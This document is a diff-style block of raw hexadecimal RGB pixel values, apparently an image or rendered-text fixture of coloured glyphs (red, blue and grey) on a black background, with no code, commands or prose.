+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000707070 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +000000000000000000D22424EF29295A0F0F0000000000000000000000002F0808EF2929E72828 +050101000000030000E22727EF29293509092F0808EF2929E72828050101000000030000E22727 +EF2929350909000000000000160404EF2929EF29290B0202000000000000000000DB26268A1818 +1B0505EF29296A1212000000060101E52727741414000000AC1E1EEF2929EF2929EF2929A21C1C +0000000000000000000000000701015B10108D18189C1B1B9E1B1BEF2929EF2929140303000000 +000000290707EF2929EC2929000000000000000000000000000000000000000000430C0CEF2929 +CE2323000000000000000000000000000000000000000000000000000000000000000000000000 +263646729FCF729FCF729FCF729FCF6891BD5A7DA3709CCB2D3E51000000000000000000222F3E +729FCF253443000000000000000000000000729FCF729FCF141B240000000000006891BD729FCF +2635451B2632729FCF6F9BCA5273955273955273956B95C2729FCF2A3B4D0000003F5872729FCF +6C96C4435E7A222F3D020304000000000000000000527395729FCF729FCF729FCF4D6C8C000000 +0000000000000000000000000B0F13729FCF729FCF05070A000000000000000000161F29729FCF +6E99C80203040000000102026C96C4729FCF19242E0000006891BC729FCF243342000000000000 +638AB3729FCF1F2B38000000000000000000222F3E729FCF253443000000000000000000000000 +0405062B3C4F435E7A4A68874C6989729FCF729FCF090D110000000000000B0F13729FCF729FCF +05070A0000000000000000000000000000000B0F13729FCF729FCF05070A000000000000000000 +0000000405062B3C4F435E7A4A68874C6989729FCF729FCF090D110000004D6C8C729FCF405A75 +000000000000000000000000000000000000527395729FCF729FCF729FCF4D6C8C000000000000 +0000000000003F5872729FCF6C96C4435E7A222F3D0203040000000000000000000000007B7B7B +B0B0B0000000858585A6A6A6000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000005E5E5EF4F4F4111111000000000000000000343434FFFFFF050505121212FFFFFF292929 +000000EEEEEE4C4C4C0000000808087D7D7DD4D4D4F2F2F2F8F8F8FCFCFCBCBCBC000000000000 +000000000000040404FFFFFF545454000000000000000000000000949494D2D2D2000000000000 +000000AAAAAAAFAFAF000000000000000000000000000000000000000000000000000000000000 +0000009C9C9CD3D3D3000000000000000000606060FBFBFB020202000000050505EAEAEA717171 +000000383838FFFFFF272727000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000707070707070707070707070707070707070 +707070707070707070707070707070707070707070707070000000000000000000D22424EF2929 +440C0C000000000000000000000000400B0BEF2929D42424000000000000000000CD2323EF2929 +460C0C400B0BEF2929D42424000000000000000000CD2323EF2929460C0C000000000000160404 +EF2929EF29290B0202000000000000000000DF26267C15151D0505EF29295E1010000000000000 +DD2626741414000000AC1E1EEF2929EF2929E82828EC29292A0707000000000000030000B21F1F +EF2929EF2929EF2929EF2929EF2929EF29291A0505000000000000290707EF2929EC2929000000 +000000000000000000000000000000000000430C0CEF2929CE2323000000000000000000000000 +00000000000000000000000000000000000000000000000022303F2A3B4D080B0F0D1318374D64 +6289B36B95C24B6988090D11000000000000000000547699648BB5010202000000000000000000 +000000729FCF729FCF141B24000000010202709CCB729FCF1E2A37243241729FCF729FCF729FCF +729FCF729FCF729FCF729FCF304357000000080C0F517194729ECE729FCF729FCF658CB7121920 +000000000000527395729FCF729FCF6F9BC9719DCD141C250000000000000000000000000B0F13 +729FCF729FCF05070A0000000000000000001E2A37729FCF658DB70000000000000000006289B2 +729FCF222F3D0000006891BC729FCF1D29350000000000005C80A7729FCF283748000000000000 +000000547699648BB501020200000000000000000001020255769A729FCF729FCF729FCF729FCF +729FCF729FCF0D11170000000000000B0F13729FCF729FCF05070A000000000000000000000000 +0000000B0F13729FCF729FCF05070A00000000000000000001020255769A729FCF729FCF729FCF +729FCF729FCF729FCF0D111700000056789C729FCF32465B000000000000000000000000000000 +000000527395729FCF729FCF6F9BC9719DCD141C25000000000000000000080C0F517194729ECE +729FCF729FCF658CB7121920000000000000000000B4B4B4787878000000BCBCBC6F6F6F000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000CFCFCF949494000000000000 +000000000000343434FFFFFF040404101010FFFFFF282828000000ECECEC505050000000949494 +EDEDED6262622F2F2F282828ABABABC0C0C0000000000000000000000000040404FFFFFF545454 +000000000000000000000000949494C8C8C8000000000000000000A8A8A8B4B4B4000000000000 +0000000000000000000000000000000000000000000000000000009C9C9CC5C5C5000000000000 +000000525252FFFFFF141414000000000000909090CDCDCD000000929292CACACA000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000707070707070707070707070707070707070707070707070707070707070707070 +707070707070707070000000000000000000D22424EF2929430C0C000000000000000000000000 +2F0808EF2929E72828050101000000030000E22727EF29293509092F0808EF2929E72828050101 +000000030000E22727EF2929350909000000000000160404EF2929EF29290B0202000000000000 +000000CF2424901919020000D52424BA20201F0505601010EF2929741414000000AC1E1EEF2929 +891717701313EF2929B21F1F0000000000002E0808EF2929EF29295C10100B02020D0202EF2929 +EF29291A0505000000000000270707EF2929EE2929010000000000000000000000000000000000 +000000430C0CEF2929CE2323000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000151D26729FCF33465C000000000000000000000000000000729FCF729FCF141B24000000 +19242E729FCF729FCF0B10141C2733729FCF6A94C1000000000000000000000000000000000000 +0000000000000000000D11172C3D505D81A8729FCF4B6988000000000000527395729FCF415B77 +364B61729FCF55769A0000000000000000000000000B0F13729FCF729FCF05070A000000000000 +000000161F29729FCF6E99C80203040000000102026C96C4729FCF19242E0000006891BC729FCF +2A3B4C0000000000006891BC729FCF1F2B38000000000000151D26729FCF33465C000000000000 +000000000000161F28729FCF729FCF2C3D5005070A06090B729FCF729FCF0D1117000000000000 +0B0F13729FCF729FCF05070A0000000000000000000000000000000B0F13729FCF729FCF05070A +000000000000000000161F28729FCF729FCF2C3D5005070A06090B729FCF729FCF0D1117000000 +4E6C8D729FCF405974000000000000000000000000000000000000527395729FCF415B77364B61 +729FCF55769A0000000000000000000000000000000D11172C3D505D81A8729FCF4B6988000000 +FCFCFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF282828000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000414141FDFDFD242424000000000000000000000000343434FFFFFF040404 +101010FFFFFF282828000000ECECEC505050000000ECECEC757575000000000000000000B5B5B5 +C0C0C0000000000000000000000000040404FFFFFF545454000000000000000000000000949494 +C8C8C8000000000000000000A8A8A8B4B4B4000000000000000000000000000000000000000000 +0000000000000000000000009C9C9CD9D9D9000000000000000000656565FCFCFC030303000000 +000000313131FFFFFF2B2B2BE8E8E86C6C6C000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000707070707070707070 +707070707070707070707070707070707070707070707070707070707070707070000000000000 +000000D22424EF2929430C0C000000000000000000000000050101DE2626EF2929651111000000 +611111EF2929E22727080101050101DE2626EF2929651111000000611111EF2929E22727080101 +0000000000000F0303EF2929EF29291F0505000000000000000000A41C1CC82222000000440C0C +E32727EF2929DB2626EB2828741414000000AC1E1EEF2929651111080101D72525EF29294E0D0D +0000003D0A0AEF2929EE2929040101000000420B0BEF2929EF29291A0505000000000000160404 +EF2929EF29292B0707000000000000000000000000000000000000430C0CEF2929CE2323000000 +0000000000000000000000000000002A2A2A6464642A2A2A000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000004864826C96C406090B000000 +000000000000000000000000729FCF729FCF1C27321B26325F85AD729FCF597DA200000006080B +6E99C7729FCF2E4154000000000000090C10384F66070A0D0000001B2632080C0F000000000000 +1F2C39729FCF587A9F000000000000527395729FCF304358040607668FBA729FCF253443000000 +000000000000070A0D729FCF729FCF0F151B0000000000000000000203046A94C0729FCF304358 +0000002E4054729FCF6C96C40406070000006891BC729FCF597BA1040607273647729FCF729ECE +0D13180000000000004864826C96C406090B0000000000000000000000001D2935729FCF729ECE +0202030000001F2C39729FCF729FCF0D1117000000000000070A0D729FCF729FCF0F151B000000 +000000000000000000000000070A0D729FCF729FCF0F151B0000000000000000001D2935729FCF +729ECE0202030000001F2C39729FCF729FCF0D111700000032455A729FCF6B95C217202A000000 +080B0F2C3E50000000000000527395729FCF304358040607668FBA729FCF253443000000000000 +1B2632080C0F0000000000001F2C39729FCF587A9F0000002F2F2F5A5A5AF6F6F6323232616161 +F1F1F1313131303030070707000000000000000000000000000000000000000000000000000000 +0000000000000000002A2A2A6464642A2A2A000000000000000000000000000000B3B3B3B1B1B1 +000000000000000000000000000000343434FFFFFF040404101010FFFFFF282828000000ECECEC +505050010101F6F6F66161610000000000000C0C0CF0F0F0C0C0C0000000000000000000000000 +040404FFFFFF545454000000000000000000000000949494C8C8C8000000000000000000A8A8A8 +B4B4B40000000000000000000000002A2A2A6464642A2A2A0000000000000000000000009C9C9C +FEFEFE1D1D1D000000000000A6A6A6D2D2D2000000000000000000000000D2D2D2C6C6C6FAFAFA +141414000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000707070707070707070707070707070707070707070707070 +707070707070707070707070707070707070000000000000000000D22424EF2929430C0C000000 +000000000000000000000000671212EF2929EF2929E02626EF2929EF29296F1313000000000000 +671212EF2929EF2929E02626EF2929EF29296F1313000000000000000000000000D32424EF2929 +DA2525B820209D1B1B000000590F0FEF29293E0B0B0000000D02023108080F0303390A0A1D0505 +000000AC1E1EEF2929651111000000601010EF2929D124240701010F0303DE2626EF2929941919 +671212D62525EF2929EF29291A0505000000000000000000CA2323EF2929E12727B92020B82020 +030000000000AE1E1EB82020C72222EF2929E82828B82020B82020611111000000000000000000 +6C6C6CFFFFFF6C6C6C000000000000000000000000000000000000000000000000000000000000 +0000000000000000000A0E136F9BCA3F5973000000000000000000000000000000000000729FCF +729FCF729FCF729FCF729FCF6E9AC91A242F000000000000384F66729FCF729FCF6891BD668EB9 +729FCF729FCF090C1000000046617F6E9AC95A7DA35070916993BF729FCF3E5670000000000000 +527395729FCF3043580000002E4053729FCF648BB5040506000000000000000000658CB7729FCF +6891BD587A9F4B6988000000000000314559729FCF729FCF6B95C2729FCF729FCF354A60000000 +0000006891BC729FCF6A94C0709CCB729FCF729FCF5272950000000000000A0E136F9BCA3F5973 +000000000000000000000000000000070A0D6A94C0729FCF476380314559668EB9729FCF729FCF +0D1117000000000000000000658CB7729FCF6891BD587A9F4B6988000000000000000000000000 +658CB7729FCF6891BD587A9F4B6988000000070A0D6A94C0729FCF476380314559668EB9729FCF +729FCF0D111700000006080B6289B3729FCF729FCF6B95C2729FCF587A9F000000000000527395 +729FCF3043580000002E4053729FCF648BB504050600000046617F6E9AC95A7DA35070916993BF +729FCF3E5670000000000000747474B8B8B80000007C7C7CB0B0B0000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000006C6C6CFFFFFF +6C6C6C000000000000000000000000252525FEFEFE3F3F3F000000000000000000000000000000 +343434FFFFFF040404101010FFFFFF282828000000ECECEC505050000000B3B3B3C7C7C7181818 +191919ABABABF3F3F3C0C0C0000000000000161616202020232323FFFFFF696969202020202020 +000000000000949494C8C8C8000000000000000000A8A8A8B4B4B4000000000000000000000000 +6C6C6CFFFFFF6C6C6C0000000000000000000000009C9C9CF6F6F6C7C7C74F4F4F7C7C7CFDFDFD +656565000000000000000000000000737373FFFFFFB3B3B3000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +707070000000000000000000D22424EF2929430C0C000000000000000000000000000000000000 +621111CD2323EA2828CE2323671212000000000000000000000000621111CD2323EA2828CE2323 +6712120000000000000000000000000000003F0B0BC22121E82828EF2929CE2323000000070101 +CB2323D52424250606000000000000000000190404000000000000AC1E1EEF2929651111000000 +040101CA2323EF2929751414000000390A0ABD2020E72828D324245D1010EF2929EF29291A0505 +0000000000000000002B0707B92020E72828EF2929EF2929040101000000E52727EF2929EF2929 +EF2929EF2929EF2929EF29297F16160000000000000000006C6C6CFFFFFF6C6C6C000000000000 +0000000000000000000000000000000000000000000000000000000000000000003A516A719DCD +0E141A000000000000000000000000000000000000729FCF729FCF709DCC678FBB4C6989151E27 +0000000000000000000000002E40535D82AA6F9BC96C97C45E84AB3D556F030406000000253443 +5476996891BD6F9BCA658EB8425C77040608000000000000527395729FCF304358000000020203 +6187AF729FCF384E650000000000000000001E2A365D81A86F9BC9729FCF6289B3000000000000 +0000002F41556289B2709CCB6289B33145590000000000000000006891BC729FCF29394A5A7DA3 +6F9BC95475990D11170000000000003A516A719DCD0E141A000000000000000000000000000000 +0000001B26325A7EA46E99C8658CB72C3E50729FCF729FCF0D11170000000000000000001E2A36 +5D81A86F9BC9729FCF6289B30000000000000000000000001E2A365D81A86F9BC9729FCF6289B3 +0000000000001B26325A7EA46E99C8658CB72C3E50729FCF729FCF0D11170000000000000C1015 +4966846A93C06E99C85D82AA2B3C4E000000000000527395729FCF3043580000000202036187AF +729FCF384E650000002534435476996891BD6F9BCA658EB8425C77040608000000000000B9B9B9 +727272000000C1C1C16A6A6A000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000006C6C6CFFFFFF6C6C6C000000000000000000000000 +969696CDCDCD000000000000000000000000000000000000343434FFFFFF040404101010FFFFFF +282828000000ECECEC5050500000001A1A1AB3B3B3F3F3F3E8E8E88585859A9A9AC0C0C0000000 +000000B4B4B4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF000000000000949494C8C8C8000000 +000000000000A8A8A8B4B4B40000000000000000000000006C6C6CFFFFFF6C6C6C000000000000 +0000000000009C9C9CC0C0C0848484F0F0F0ECECEC858585010101000000000000000000000000 +272727FFFFFF575757000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000707070707070707070707070707070 +707070707070707070707070707070707070707070707070707070000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000002A0707DB2626E828289F1B1B7F1616 +A21C1CE92828240606000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000405066992BE4D6B8C000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000006891BC729FCF1B2531000000000000000000000000000000040506 +6992BE4D6B8C000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000121212F5F5F55C5C5C000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000009C9C9CC0C0C0000000 +0000000000000000000000000000000000000000000000006E6E6EF1F1F1090909000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000707070707070707070707070707070707070707070707070707070707070 +707070707070707070707070000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000160404891717D12424E92828D32424911919190404000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000006891BC +729FCF1B2531000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000009C9C9CC0C0C0000000000000000000000000000000000000 +0000002222224B4B4BE8E8E8939393000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 